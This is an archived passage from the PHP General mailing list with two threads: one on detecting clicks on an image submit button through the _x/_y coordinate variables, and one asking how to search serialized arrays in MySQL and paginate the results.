To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Submit Image Button

2003-04-02 Thread John Coggeshall

http://www.php.net/manual/en/language.variables.external.php



This creates variables $_GET['sub_x'] and $_GET['sub_y'] containing the
X/Y cordinate where the button was clicked (assuming it was GET method
form submission)

John

-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-
John Coggeshall
john at coggeshall dot org  http://www.coggeshall.org/
-~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~--~=~-


>-Original Message-
>From: Thomas [mailto:[EMAIL PROTECTED] 
>Sent: Wednesday, April 02, 2003 9:27 PM
>To: [EMAIL PROTECTED]
>Subject: [PHP] Submit Image Button
>
>
>I have a problem with my php.
>
>I have a form and in that form there is an image submit 
>button.  When I click on it, it won't tell me if the submit 
>button is clicked. It works fine with a normal one.
>
>sample:
>
> if (!$submit) {
>?>
>
>
>
>src="../News/themes/xFClan/button_submit.gif"
>border="0" name="submit" value="Login" width="55" height="19" 
>alt="Submit">
>
>
>} else {
>echo "you clicked";
>}
>?>
>
>If I use   This works finedo I 
>need to do something else with the code? Help is very appreciated.
>
>Cheers.
>
>
>
>
>-- 
>PHP General Mailing List (http://www.php.net/)
>To unsubscribe, visit: http://www.php.net/unsub.php
>
>


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Some search engine questions....

2001-03-01 Thread John Coggeshall

Hey guys, I've got a question regarding a search engine I have to write
Basically what I have is this..

I have a table with a serialized array in it. I'd like to take that array
and search for keywords... I've got a mySQL database and this is how I'm
doing it...

SELECT a FROM b,c WHERE(b.serializedarray LIKE CONCAT('%', c.keywords,'%'));

Where b is the table containing the serialized data and c is a single column
HEAP table with the list of keywords...

Now... My question is kind of two fold...

A) Is this the best way to do it? By Best I mean considering I am dealing
with a serialized array

and - thiis is my real question

B) How do I show limited page results? I want to break up the results into
groups of 5 per page and have x pages (count % 5). My problem is that the
origional query gets lost once the page has returned the first set of
results and I have no real way of keeping them... There can be  too many to
append to the  of the link to the next page and I don't want to use
form POSTS since I have to have buttons for all of them

Any suggestions?

John





-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]